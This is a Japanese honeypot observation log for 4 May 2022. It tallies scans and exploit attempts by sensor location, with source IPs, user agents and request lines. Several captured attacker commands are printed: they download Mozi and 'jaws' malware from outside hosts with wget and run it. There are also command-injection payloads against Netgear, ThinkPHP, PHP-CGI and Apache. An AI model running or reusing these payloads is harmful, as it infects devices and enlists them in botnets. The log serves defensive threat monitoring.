2022/05/04 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2022/05/04分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
/.envへのスキャン行為
Laravelへのスキャン行為

Location:JP

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://223.130.30.73:58440/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

cd /tmp;
rm -rf *;
wget jx.qingdaosheng.com/jaws;
sh /tmp/jaws

Location:US

UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget jx.qingdaosheng.com/jaws;
sh /tmp/jaws

Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Apache Tomcatへのスキャン行為
WordPressへのスキャン行為
5.188.210.227に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget jx.qingdaosheng.com/jaws;
sh /tmp/jaws

Location:SG

zgrabによるスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget jx.qingdaosheng.com/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：70 (前日比：-92)
US：総アクセス数：41 (前日比：-131)
UK：総アクセス数：52 (前日比：-425)
SG：総アクセス数：63 (前日比：-391)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	1.246.223.82	South Korea
1	2.57.121.66	Romania
1	3.230.171.174	United States
1	46.249.33.53	Netherlands
2	81.17.23.138	Panama
16	95.214.235.205	Ukraine
2	109.237.103.38	Russia
1	117.223.86.191	India
1	120.85.115.135	China
2	129.153.205.109	United States
6	135.125.217.54	France
7	135.125.246.110	France
1	142.93.194.204	United States
2	157.245.70.127	United States
4	185.142.236.40	Seychelles
8	185.254.196.217	Ukraine
1	192.241.221.149	United States
1	197.46.201.108	Egypt
1	198.244.142.77	France
1	205.210.31.131	United States
9	213.226.123.30	Russia
1	223.130.30.73	India

UserAgent一覧

件数	UserAgent
11	-
1	Hello, World
2	Hello, world
3	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
9	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/71.0
40	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

リクエスト内容一覧

件数	Method	Request	Protocol
1		MGLNDD_18.179.20.5_80\n
1		\x16\x03\x01\x01C\x01
1		\x16\x03\x01
42	GET	/.env	HTTP/1.1
1	GET	/.well-known/security.txt	HTTP/1.1
2	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/_ignition/execute-solution	HTTP/1.1
1	GET	/ab2g	HTTP/1.1
1	GET	/ab2h	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=admin&psd=admin	HTTP/1.0
2	GET	/console/	HTTP/1.1
1	GET	/favicon.ico	HTTP/1.1
1	GET	/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http[:]//223[.]130[.]30[.]73:58440/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+jx[.]qingdaosheng[.]com/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/sitemap.xml	HTTP/1.1
1	GET	/vicidial/admin.php?ADD=140000000000	HTTP/1.1
1	HEAD	/	HTTP/1.1
2	POST	/Autodiscover/Autodiscover.xml	HTTP/1.1
1	POST	/GponForm/diag_Form?images/	HTTP/1.1
1	POST	/HNAP1/	HTTP/1.0
3	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.57.121.66	Romania
1	20.58.171.176	United States
1	20.74.240.202	United States
1	46.101.157.178	United States
9	51.79.29.48	Canada
1	58.26.141.25	Malaysia
2	81.17.23.138	Panama
1	107.174.146.135	United States
2	109.237.103.38	Russia
1	142.93.194.204	United States
1	156.201.27.49	Egypt
1	162.142.125.9	United States
1	162.142.125.211	United States
1	182.120.70.118	China
8	185.254.196.223	Ukraine
1	192.241.215.54	United States
1	205.210.31.133	United States
1	206.189.224.36	United States
6	213.226.123.30	Russia

UserAgent一覧

件数	UserAgent
8	-
1	Abyssal
1	Hello, world
6	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/71.0
22	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

リクエスト内容一覧

件数	Method	Request	Protocol
1		MGLNDD_34.68.118.83_80\n
1		\x16\x03\x01\x01C\x01
1		\x16\x03\x01
22	GET	/.env	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/_ignition/execute-solution	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=adminisp&psd=adminisp	HTTP/1.0
1	GET	/console/	HTTP/1.1
1	GET	/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+jx[.]qingdaosheng[.]com/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/vicidial/admin.php?ADD=140000000000	HTTP/1.1
1	POST	//%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E	HTTP/1.1
2	POST	/Autodiscover/Autodiscover.xml	HTTP/1.1
3	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/editBlackAndWhiteList	HTTP/1.1
2	PRI	*	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.188.210.227	Russia
1	18.206.95.158	United States
1	20.115.44.43	United States
1	20.235.24.57	United States
1	40.115.126.83	United States
1	41.47.202.149	Egypt
1	46.249.33.53	Netherlands
2	81.17.23.138	Panama
18	85.202.168.44	Netherlands
1	107.174.146.133	United States
2	109.237.103.38	Russia
1	156.204.62.140	Egypt
1	167.94.138.47	United States
1	175.107.197.123	Pakistan
1	187.193.133.99	Mexico
1	192.241.216.25	United States
2	194.165.16.37	Panama
1	198.235.24.145	United States
1	202.14.122.203	India
1	202.164.139.122	India
1	205.210.31.30	United States
10	213.226.123.30	Russia
1	222.174.223.150	China

UserAgent一覧

件数	UserAgent
10	-
1	Abyssal
2	Hello, world
1	Java/1.8.0_331
1	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
28	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 Gecko/20100101

リクエスト内容一覧

件数	Method	Request	Protocol
1		MGLNDD_132.145.66.34_80\n
2		\x03
1		\x16\x03\x01\x01C\x01
2		\x16\x03\x01
1	CONNECT	surfshark[.]com:443	HTTP/1.1
4	GET	/.env	HTTP/1.1
1	GET	/2018/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/2019/wp-includes/wlwmanifest.xml	HTTP/1.1
2	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>	HTTP/1.1
1	GET	/_ignition/execute-solution	HTTP/1.1
1	GET	/blog/wp-includes/wlwmanifest.xml	HTTP/1.1
2	GET	/boaform/admin/formLogin?username=adminisp&psd=adminisp	HTTP/1.0
1	GET	/cms/wp-includes/wlwmanifest.xml	HTTP/1.1
2	GET	/console/	HTTP/1.1
1	GET	/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/media/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/news/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//202[.]14[.]122[.]203:47449/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
2	GET	/shell?cd+/tmp;rm+-rf+*;wget+jx[.]qingdaosheng[.]com/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/shop/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/site/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/sito/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/test/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/web/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/website/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wordpress/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wp/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wp1/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wp2/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/xmlrpc.php?rsd	HTTP/1.1
1	GET	http[:]//5[.]188[.]210[.]227/echo.php	HTTP/1.1
2	POST	/Autodiscover/Autodiscover.xml	HTTP/1.1
4	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh	HTTP/1.1
1	POST	/editBlackAndWhiteList	HTTP/1.1
1	PRI	*	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.55.53.144	United States
1	23.128.248.98	United States
1	36.37.185.65	Cambodia
1	41.235.254.145	Egypt
1	46.249.33.53	Netherlands
10	51.79.29.48	Canada
2	61.147.15.65	China
2	61.147.15.67	China
4	80.82.77.33	United Kingdom
2	81.17.23.138	Panama
1	83.143.86.62	Norway
1	103.41.24.196	India
2	109.237.103.38	Russia
1	142.93.194.204	United States
2	157.230.216.203	United States
1	159.223.180.164	United States
2	162.142.125.220	United States
1	167.94.138.44	United States
1	167.248.133.47	United States
1	172.245.189.10	United States
2	183.136.225.9	China
8	185.254.196.223	Ukraine
1	192.241.219.55	United States
2	194.165.16.76	Panama
1	198.235.24.156	United States
1	205.210.31.134	United States
1	206.189.224.36	United States
1	207.244.254.155	United States
8	213.226.123.30	Russia

UserAgent一覧

件数	UserAgent
19	-
1	Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)
1	Hello, world
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
8	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/71.0
2	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
25	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数	Method	Request	Protocol
1		MGLNDD_13.67.44.234_80
2		\x03
1		\x16\x03\x01\x01C\x01
5		\x16\x03\x01
25	GET	/.env	HTTP/1.1
1	GET	/.well-known/security.txt	HTTP/1.1
2	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/Pl9FaJHvZKxiuRDnrc0VC8dmSIv	HTTP/1.1
1	GET	/_ignition/execute-solution	HTTP/1.1
1	GET	/ab2g	HTTP/1.1
1	GET	/ab2h	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=ec8&psd=ec8	HTTP/1.0
2	GET	/console/	HTTP/1.1
5	GET	/favicon.ico	HTTP/1.1
1	GET	/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21	HTTP/1.1
2	GET	/robots.txt	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+jx[.]qingdaosheng[.]com/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/sitemap.xml	HTTP/1.1
2	POST	/Autodiscover/Autodiscover.xml	HTTP/1.1
3	POST	/boaform/admin/formLogin	HTTP/1.1
4	PRI	*	HTTP/2.0